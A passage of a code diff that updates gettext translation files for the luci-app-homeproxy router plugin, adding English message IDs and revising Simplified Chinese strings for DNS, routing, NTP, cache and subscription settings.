htdocs/luci-static/resources/view/homeproxy/client.js +msgid "API password" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Default mode" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "NTP Settings" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Enable NTP" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "NTP server address" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "NTP server port" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "NTP time synchronization interval" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "NTP service always uses direct connection and mainly provides accurate time for sing-box features that depend on it, such as TLS certificate verification, VMess, Reality/uTLS and other time-sensitive connection scenarios." +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Time format examples: 1m = 1 minute, 1h = 1 hour, 1d = 1 day." +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Cache Settings" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Persistent Cache Settings" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Enable cache" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Enable cache file" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Cache file path" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Persistent cache file path" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Cache RDRC" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Persist RDRC cache" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Status" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Plugin Version" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Core Version" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Core Status" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Running" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Running: %s" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Not Running" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Reload Service" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Restart Service" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Update Panel" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Update panel failed." +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Clash API unavailable." +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Open Panel" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Upload Panel ZIP" +msgstr "" + +msgid "Baidu Connection" +msgstr "" + +msgid "Google Connection" +msgstr "" + +msgid "GitHub Connection" +msgstr "" + +msgid "YouTube Connection" +msgstr "" + +msgid "Click to check" +msgstr "" + +msgid "Checking..." +msgstr "" diff --git a/luci-app-homeproxy/po/zh_Hans/homeproxy.po b/luci-app-homeproxy/po/zh_Hans/homeproxy.po index 7799a6250..26122baaf 100644 --- a/luci-app-homeproxy/po/zh_Hans/homeproxy.po +++ b/luci-app-homeproxy/po/zh_Hans/homeproxy.po @@ -8,24 +8,32 @@ msgstr "" "MIME-Version: 1.0\n" "Content-Transfer-Encoding: 8bit\n" +#: htdocs/luci-static/resources/homeproxy.js:321 +msgid "Close" +msgstr "关闭" + #: htdocs/luci-static/resources/view/homeproxy/status.js:206 msgid "%s log" msgstr "%s 日志" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1715 +#: htdocs/luci-static/resources/view/homeproxy/node.js:500 +msgid "%s ms" +msgstr "%s 毫秒" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1896 msgid "%s nodes removed" msgstr "移除了 %s 个节点" -#: htdocs/luci-static/resources/homeproxy.js:320 +#: htdocs/luci-static/resources/homeproxy.js:279 msgid "/etc/homeproxy/certs/..., /etc/acme/..., /etc/ssl/..." msgstr "/etc/homeproxy/certs/...,/etc/acme/...,/etc/ssl/..." -#: htdocs/luci-static/resources/view/homeproxy/client.js:821 +#: htdocs/luci-static/resources/view/homeproxy/client.js:632 msgid "4 or 6. Not limited if empty." msgstr "4 或 6。留空不限制。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:985 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1421 +#: htdocs/luci-static/resources/view/homeproxy/client.js:798 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1233 msgid "" "%s will be temporarily overwritten to %s after 50 " "triggers in 30s if not enabled." @@ -33,8 +41,8 @@ msgstr "" "%s 在未启用的情况下,50 次触发后会在 30 秒内临时覆盖为 " "%s。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1266 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1285 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1516 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1535 #: htdocs/luci-static/resources/view/homeproxy/server.js:768 #: htdocs/luci-static/resources/view/homeproxy/server.js:787 msgid "Save your configuration before uploading files!" @@ -44,15 +52,15 @@ msgstr "上传文件前请先保存配置!" msgid "API token" msgstr "API 令牌" -#: htdocs/luci-static/resources/view/homeproxy/node.js:850 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1100 msgid "Accept any if empty." msgstr "留空则不校验。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1349 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1161 msgid "Accept empty query response" msgstr "接受空查询响应" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1611 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1422 msgid "Access Control" msgstr "访问控制" @@ -64,32 +72,36 @@ msgstr "访问密钥 ID" msgid "Access key secret" msgstr "访问密钥" -#: htdocs/luci-static/resources/view/homeproxy/client.js:881 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1357 +#: htdocs/luci-static/resources/view/homeproxy/client.js:692 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1169 msgid "Action" msgstr "操作" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1267 +#: htdocs/luci-static/resources/view/homeproxy/client.js:210 +msgid "AdGuard Public DNS (DoH)" +msgstr "AdGuard 公共DNS (DoH)" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:1079 msgid "Add a DNS rule" msgstr "新增 DNS 规则" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1143 +#: htdocs/luci-static/resources/view/homeproxy/client.js:956 msgid "Add a DNS server" msgstr "新增 DNS 服务器" -#: htdocs/luci-static/resources/view/homeproxy/node.js:491 +#: htdocs/luci-static/resources/view/homeproxy/node.js:719 msgid "Add a node" msgstr "新增节点" -#: htdocs/luci-static/resources/view/homeproxy/client.js:445 +#: htdocs/luci-static/resources/view/homeproxy/client.js:428 msgid "Add a routing node" -msgstr "新增路由节点" +msgstr "新增策略组" -#: htdocs/luci-static/resources/view/homeproxy/client.js:788 +#: htdocs/luci-static/resources/view/homeproxy/client.js:599 msgid "Add a routing rule" msgstr "新增路由规则" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1531 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1343 msgid "Add a rule set" msgstr "新增规则集" @@ -97,33 +109,32 @@ msgstr "新增规则集" msgid "Add a server" msgstr "新增服务器" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1185 +#: htdocs/luci-static/resources/view/homeproxy/client.js:998 msgid "Additional headers to be sent to the DNS server." msgstr "发送到 DNS 服务器的附加标头。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1167 -#: htdocs/luci-static/resources/view/homeproxy/node.js:543 +#: htdocs/luci-static/resources/view/homeproxy/client.js:980 +#: htdocs/luci-static/resources/view/homeproxy/node.js:878 msgid "Address" msgstr "地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1198 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1011 msgid "Address resolver" msgstr "地址解析器" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1230 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1043 msgid "Address strategy" msgstr "地址解析策略" #: htdocs/luci-static/resources/view/homeproxy/server.js:640 -msgid "Alibaba Cloud DNS" -msgstr "阿里云 DNS" +msgid "AliYun" +msgstr "AliYun" -#: htdocs/luci-static/resources/view/homeproxy/client.js:226 -#: htdocs/luci-static/resources/view/homeproxy/client.js:260 -msgid "Aliyun Public DNS (223.5.5.5)" -msgstr "阿里云公共 DNS(223.5.5.5)" +#: htdocs/luci-static/resources/view/homeproxy/client.js:246 +msgid "AliYun Public DNS (DoH)" +msgstr "阿里 公共DNS (DoH)" -#: htdocs/luci-static/resources/view/homeproxy/client.js:306 +#: htdocs/luci-static/resources/view/homeproxy/client.js:289 msgid "All ports" msgstr "所有端口" @@ -131,24 +142,20 @@ msgstr "所有端口" msgid "Allow access from the Internet." msgstr "允许来自互联网的访问。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1220 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1616 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1470 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1822 msgid "Allow insecure" msgstr "允许不安全连接" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1221 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1471 msgid "Allow insecure connection at TLS client." msgstr "允许 TLS 客户端侧的不安全连接。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1617 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1823 msgid "Allow insecure connection by default when add nodes from subscriptions." msgstr "从订阅获取节点时,默认允许不安全连接。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1623 -msgid "Allow unsupported certificate pin fallback" -msgstr "允许不支持的证书 pin 兼容回退" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1054 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1304 #: htdocs/luci-static/resources/view/homeproxy/server.js:482 msgid "Allowed payload size is in the request." msgstr "请求中允许的载荷大小。" @@ -161,7 +168,7 @@ msgstr "已是最新版本。" msgid "Already in updating." msgstr "已在更新中。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:922 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1172 #: htdocs/luci-static/resources/view/homeproxy/server.js:391 msgid "Alter ID" msgstr "额外 ID" @@ -174,22 +181,15 @@ msgstr "替代 HTTP 端口" msgid "Alternative TLS port" msgstr "替代 HTTPS 端口" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1719 -msgid "An error occurred during removing subscription nodes: %s" -msgstr "删除订阅节点时发生错误:%s" +#: htdocs/luci-static/resources/view/homeproxy/node.js:1859 +msgid "An error occurred during updating subscriptions: %s" +msgstr "更新订阅时发生错误:%s" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1662 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1667 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1675 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1683 -msgid "An error occurred while updating subscriptions." -msgstr "更新订阅时发生错误。" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1438 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1250 msgid "Answer" msgstr "回答" -#: htdocs/luci-static/resources/view/homeproxy/node.js:524 +#: htdocs/luci-static/resources/view/homeproxy/node.js:859 #: htdocs/luci-static/resources/view/homeproxy/server.js:176 msgid "AnyTLS" msgstr "AnyTLS" @@ -198,9 +198,9 @@ msgstr "AnyTLS" msgid "AnyTLS padding scheme in array." msgstr "AnyTLS 填充方案。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1009 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1119 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1406 +#: htdocs/luci-static/resources/view/homeproxy/client.js:822 +#: htdocs/luci-static/resources/view/homeproxy/client.js:932 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1218 msgid "" "Append a edns0-subnet OPT extra record with the specified IP " "prefix to every query by default.
If value is an IP address instead of " @@ -209,138 +209,119 @@ msgstr "" "将带有指定 IP 前缀的 edns0-subnet OPT 记录附加到每个查询。如果值" "是 IP 地址而不是前缀,则会自动添加 /32 或 /128。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1252 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1502 msgid "Append self-signed certificate" msgstr "追加自签名证书" -#: htdocs/luci-static/resources/view/homeproxy/node.js:502 +#: htdocs/luci-static/resources/view/homeproxy/node.js:802 msgid "Applied" msgstr "已应用" -#: htdocs/luci-static/resources/view/homeproxy/node.js:495 -#: htdocs/luci-static/resources/view/homeproxy/node.js:505 +#: htdocs/luci-static/resources/view/homeproxy/node.js:795 +#: htdocs/luci-static/resources/view/homeproxy/node.js:805 msgid "Apply" msgstr "应用" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:155 -msgid "Applying backup file and restarting HomeProxy." -msgstr "正在应用备份文件并重启 HomeProxy。" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:67 +#: htdocs/luci-static/resources/view/homeproxy/node.js:26 msgid "Are you sure to allow insecure?" msgstr "确定要允许不安全连接吗?" -#: htdocs/luci-static/resources/homeproxy/tcping.js:296 -msgid "At most %d nodes can be tested at once." -msgstr "一次最多测试 %d 个节点。" - #: htdocs/luci-static/resources/view/homeproxy/server.js:363 msgid "Auth timeout" msgstr "认证超时" -#: htdocs/luci-static/resources/view/homeproxy/node.js:946 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1196 msgid "Authenticated length" msgstr "认证长度" -#: htdocs/luci-static/resources/view/homeproxy/node.js:677 +#: htdocs/luci-static/resources/view/homeproxy/node.js:991 #: htdocs/luci-static/resources/view/homeproxy/server.js:282 msgid "Authentication payload" msgstr "认证载荷" -#: htdocs/luci-static/resources/view/homeproxy/node.js:670 +#: htdocs/luci-static/resources/view/homeproxy/node.js:984 #: htdocs/luci-static/resources/view/homeproxy/server.js:275 msgid "Authentication type" msgstr "认证类型" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1569 +#: htdocs/luci-static/resources/view/homeproxy/client.js:703 +msgid "Auto select" +msgstr "自动选择" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1768 msgid "Auto update" msgstr "自动更新" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1570 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1769 msgid "Auto update subscriptions and geodata." msgstr "自动更新订阅和地理数据。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:882 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1132 msgid "BBR" msgstr "BBR" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:185 -msgid "Backup" -msgstr "备份" - -#: root/usr/share/luci/menu.d/luci-app-homeproxy.json:38 -msgid "Backup / Restore" -msgstr "备份 / 恢复" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:97 -msgid "Backup file has been generated and download has started." -msgstr "备份文件已生成并开始下载。" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:92 -msgid "Backup file path was not returned." -msgstr "未返回备份文件路径。" +#: htdocs/luci-static/resources/view/homeproxy/node.js:472 +msgid "Backend execution failed" +msgstr "后端执行失败" #: htdocs/luci-static/resources/view/homeproxy/status.js:235 msgid "BaiDu" msgstr "百度" -#: htdocs/luci-static/resources/view/homeproxy/node.js:672 +#: htdocs/luci-static/resources/view/homeproxy/node.js:986 #: htdocs/luci-static/resources/view/homeproxy/server.js:277 msgid "Base64" msgstr "Base64" -#: htdocs/luci-static/resources/view/homeproxy/client.js:363 +#: htdocs/luci-static/resources/view/homeproxy/client.js:346 msgid "Based on google/gvisor." msgstr "基于 google/gvisor。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1552 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1364 msgid "Binary file" msgstr "二进制文件" -#: htdocs/luci-static/resources/view/homeproxy/client.js:494 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1624 +#: htdocs/luci-static/resources/view/homeproxy/client.js:476 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1435 #: htdocs/luci-static/resources/view/homeproxy/server.js:874 msgid "Bind interface" msgstr "绑定接口" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1625 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1436 msgid "" "Bind outbound traffic to specific interface. Leave empty to auto detect." msgstr "绑定出站流量至指定端口。留空自动检测。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:829 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1317 +#: htdocs/luci-static/resources/view/homeproxy/client.js:640 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1129 msgid "BitTorrent" msgstr "BitTorrent" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1603 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1809 msgid "Blacklist mode" msgstr "黑名单模式" -#: htdocs/luci-static/resources/view/homeproxy/client.js:405 -#: htdocs/luci-static/resources/view/homeproxy/client.js:897 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1244 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1594 +#: htdocs/luci-static/resources/view/homeproxy/client.js:388 msgid "Block" msgstr "封锁" -#: htdocs/luci-static/resources/view/homeproxy/client.js:824 -#: htdocs/luci-static/resources/view/homeproxy/client.js:852 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1303 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1313 +#: htdocs/luci-static/resources/view/homeproxy/client.js:635 +#: htdocs/luci-static/resources/view/homeproxy/client.js:663 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1115 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1125 #: htdocs/luci-static/resources/view/homeproxy/server.js:869 msgid "Both" msgstr "全部" -#: htdocs/luci-static/resources/view/homeproxy/client.js:383 +#: htdocs/luci-static/resources/view/homeproxy/client.js:366 msgid "Bypass CN traffic" msgstr "绕过中国流量" -#: htdocs/luci-static/resources/view/homeproxy/client.js:293 +#: htdocs/luci-static/resources/view/homeproxy/client.js:276 msgid "Bypass mainland China" msgstr "大陆白名单" -#: htdocs/luci-static/resources/view/homeproxy/client.js:384 +#: htdocs/luci-static/resources/view/homeproxy/client.js:367 msgid "Bypass mainland China traffic via firewall rules by default." msgstr "默认使用防火墙规则绕过中国大陆流量。" @@ -348,26 +329,15 @@ msgstr "默认使用防火墙规则绕过中国大陆流量。" msgid "CA provider" msgstr "CA 颁发机构" -#: htdocs/luci-static/resources/view/homeproxy/client.js:261 -msgid "CNNIC Public DNS (210.2.4.8)" -msgstr "CNNIC 公共 DNS(210.2.4.8)" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:880 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1130 msgid "CUBIC" msgstr "CUBIC" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:137 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1472 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1672 msgid "Cancel" -msgstr "取消" +msgstr "关闭" -#: htdocs/luci-static/resources/view/homeproxy/node.js:778 -#: htdocs/luci-static/resources/view/homeproxy/node.js:794 -#: htdocs/luci-static/resources/view/homeproxy/node.js:809 -msgid "Cannot be empty" -msgstr "不能为空" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1257 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1507 #: htdocs/luci-static/resources/view/homeproxy/server.js:756 msgid "Certificate path" msgstr "证书路径" @@ -380,11 +350,7 @@ msgstr "检查" msgid "Check update" msgstr "检查更新" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:122 -msgid "Checking backup file..." -msgstr "正在检查备份文件..." - -#: htdocs/luci-static/resources/view/homeproxy/client.js:257 +#: htdocs/luci-static/resources/view/homeproxy/client.js:241 msgid "China DNS server" msgstr "国内 DNS 服务器" @@ -400,24 +366,28 @@ msgstr "国内 IPv6 库版本" msgid "China list version" msgstr "国内域名列表版本" -#: htdocs/luci-static/resources/view/homeproxy/client.js:841 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1783 +msgid "Choose which method node latency tests use." +msgstr "选择节点延迟测试使用的方法。" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:652 msgid "Chromium / Cronet" msgstr "Chromium / Cronet" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1244 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1494 #: htdocs/luci-static/resources/view/homeproxy/server.js:586 msgid "Cipher suites" msgstr "密码套件" -#: htdocs/luci-static/resources/view/homeproxy/client.js:223 -msgid "Cisco Public DNS (208.67.222.222)" -msgstr "思科公共 DNS(208.67.222.222)" +#: htdocs/luci-static/resources/view/homeproxy/client.js:212 +msgid "Cisco Public DNS (DoH)" +msgstr "Cisco 公共DNS (DoH)" #: htdocs/luci-static/resources/view/homeproxy/status.js:214 msgid "Clean log" msgstr "清空日志" -#: htdocs/luci-static/resources/view/homeproxy/client.js:839 +#: htdocs/luci-static/resources/view/homeproxy/client.js:650 msgid "Client" msgstr "客户端" @@ -425,33 +395,29 @@ msgstr "客户端" msgid "Client Settings" msgstr "客户端设置" -#: htdocs/luci-static/resources/view/homeproxy/node.js:844 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1094 msgid "Client version" msgstr "客户端版本" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:167 -msgid "Close" -msgstr "关闭" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:222 -msgid "CloudFlare Public DNS (1.1.1.1)" -msgstr "CloudFlare 公共 DNS(1.1.1.1)" - #: htdocs/luci-static/resources/view/homeproxy/server.js:641 -msgid "Cloudflare" -msgstr "Cloudflare" +msgid "CloudFlare" +msgstr "CloudFlare" -#: htdocs/luci-static/resources/view/homeproxy/client.js:153 +#: htdocs/luci-static/resources/view/homeproxy/client.js:207 +msgid "CloudFlare Public DNS (DoH)" +msgstr "CloudFlare 公共DNS (DoH)" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:139 #: htdocs/luci-static/resources/view/homeproxy/server.js:142 #: htdocs/luci-static/resources/view/homeproxy/status.js:176 msgid "Collecting data..." msgstr "正在收集数据中..." -#: htdocs/luci-static/resources/view/homeproxy/client.js:307 +#: htdocs/luci-static/resources/view/homeproxy/client.js:290 msgid "Common ports only (bypass P2P traffic)" msgstr "仅常用端口(绕过 P2P 流量)" -#: htdocs/luci-static/resources/view/homeproxy/node.js:878 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1128 #: htdocs/luci-static/resources/view/homeproxy/server.js:354 msgid "Congestion control algorithm" msgstr "拥塞控制算法" @@ -460,32 +426,27 @@ msgstr "拥塞控制算法" msgid "Connection check" msgstr "连接检查" -#: htdocs/luci-static/resources/homeproxy/tcping.js:230 -#: htdocs/luci-static/resources/homeproxy/tcping.js:309 -msgid "Connectivity test failed." -msgstr "连通性测试失败。" +#: htdocs/luci-static/resources/view/homeproxy/node.js:1772 +msgid "Cron expression" +msgstr "定时任务表达式" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:142 -msgid "Continue" -msgstr "继续" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:295 +#: htdocs/luci-static/resources/view/homeproxy/client.js:278 msgid "Custom routing" msgstr "自定义路由" -#: htdocs/luci-static/resources/view/homeproxy/client.js:830 +#: htdocs/luci-static/resources/view/homeproxy/client.js:641 msgid "DNS" msgstr "DNS" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1258 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1070 msgid "DNS Rules" msgstr "DNS 规则" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1134 +#: htdocs/luci-static/resources/view/homeproxy/client.js:947 msgid "DNS Servers" msgstr "DNS 服务器" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1082 +#: htdocs/luci-static/resources/view/homeproxy/client.js:895 msgid "DNS Settings" msgstr "DNS 设置" @@ -493,22 +454,26 @@ msgstr "DNS 设置" msgid "DNS provider" msgstr "DNS 提供商" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1267 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1079 msgid "DNS rule" msgstr "DNS 规则" -#: htdocs/luci-static/resources/view/homeproxy/client.js:219 -#: htdocs/luci-static/resources/view/homeproxy/client.js:959 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1143 +#: htdocs/luci-static/resources/view/homeproxy/client.js:204 +#: htdocs/luci-static/resources/view/homeproxy/client.js:772 +#: htdocs/luci-static/resources/view/homeproxy/client.js:956 msgid "DNS server" msgstr "DNS 服务器" +#: htdocs/luci-static/resources/view/homeproxy/client.js:211 +msgid "DNS.SB Public DNS (DoH)" +msgstr "DNS.SB 公共DNS (DoH)" + #: htdocs/luci-static/resources/view/homeproxy/server.js:635 msgid "DNS01 challenge" msgstr "DNS01 验证" -#: htdocs/luci-static/resources/view/homeproxy/client.js:831 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1318 +#: htdocs/luci-static/resources/view/homeproxy/client.js:642 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1130 msgid "DTLS" msgstr "DTLS" @@ -517,119 +482,136 @@ msgid "Debug" msgstr "调试" #: htdocs/luci-static/resources/homeproxy.js:17 -#: htdocs/luci-static/resources/view/homeproxy/client.js:474 -#: htdocs/luci-static/resources/view/homeproxy/client.js:709 -#: htdocs/luci-static/resources/view/homeproxy/client.js:815 -#: htdocs/luci-static/resources/view/homeproxy/client.js:965 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1294 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1592 -#: htdocs/luci-static/resources/view/homeproxy/node.js:890 +#: htdocs/luci-static/resources/view/homeproxy/client.js:456 +#: htdocs/luci-static/resources/view/homeproxy/client.js:626 +#: htdocs/luci-static/resources/view/homeproxy/client.js:778 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1106 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1404 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1140 msgid "Default" msgstr "默认" -#: htdocs/luci-static/resources/view/homeproxy/client.js:422 -#: htdocs/luci-static/resources/view/homeproxy/client.js:475 -#: htdocs/luci-static/resources/view/homeproxy/client.js:966 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1097 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1205 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1372 +msgid "Default node" +msgstr "默认节点" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:405 +#: htdocs/luci-static/resources/view/homeproxy/client.js:457 +#: htdocs/luci-static/resources/view/homeproxy/client.js:779 +#: htdocs/luci-static/resources/view/homeproxy/client.js:910 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1018 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1184 msgid "Default DNS (issued by WAN)" msgstr "默认 DNS(由 WAN 下发)" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1092 +#: htdocs/luci-static/resources/view/homeproxy/client.js:905 msgid "Default DNS server" msgstr "默认 DNS 服务器" -#: htdocs/luci-static/resources/view/homeproxy/client.js:417 -msgid "Default DNS server for resolving domain name in the server address." -msgstr "用于解析服务器地址中的域名的默认 DNS 服务器。" +#: htdocs/luci-static/resources/view/homeproxy/client.js:1332 +msgid "Daily domain name resolution for clients. Choose an overseas DNS if DNS leak protection is required." +msgstr "客户端日常访问域名解析,DNS泄漏要求高选择国外DNS。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1087 +#: htdocs/luci-static/resources/view/homeproxy/client.js:400 +msgid "Default DNS server for resolving domain name in the server address." +msgstr "填写国内DNS,Sing-box在连接这个代理节点前,需要先解析节点域名,这里就决定用哪个DNS去解析这个“代理服务器域名”,不要选走代理的国外 DNS,否则可能出现“代理还没连上,却要先通过代理解析代理服务器”的循环问题。" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:900 msgid "Default DNS strategy" msgstr "默认 DNS 解析策略" -#: htdocs/luci-static/resources/view/homeproxy/client.js:397 -msgid "Default outbound" -msgstr "默认出站" +#: htdocs/luci-static/resources/view/homeproxy/client.js:380 +msgid "Default outbound (fallback)" +msgstr "默认出站(漏网之鱼)" -#: htdocs/luci-static/resources/view/homeproxy/client.js:416 +#: htdocs/luci-static/resources/view/homeproxy/client.js:399 msgid "Default outbound DNS" msgstr "默认出站 DNS" -#: htdocs/luci-static/resources/view/homeproxy/client.js:398 +#: htdocs/luci-static/resources/view/homeproxy/client.js:381 msgid "Default outbound for connections not matched by any routing rules." msgstr "用于未被任何路由规则匹配的连接的默认出站。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1628 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1829 msgid "Default packet encoding" msgstr "默认包封装格式" -#: htdocs/luci-static/resources/view/homeproxy/client.js:704 -msgid "Default selector node" -msgstr "默认选择节点" - #: htdocs/luci-static/resources/view/homeproxy/server.js:606 msgid "Default server name" msgstr "默认服务器名称" -#: htdocs/luci-static/resources/view/homeproxy/client.js:404 -#: htdocs/luci-static/resources/view/homeproxy/client.js:507 -#: htdocs/luci-static/resources/view/homeproxy/client.js:896 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1243 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1593 -#: 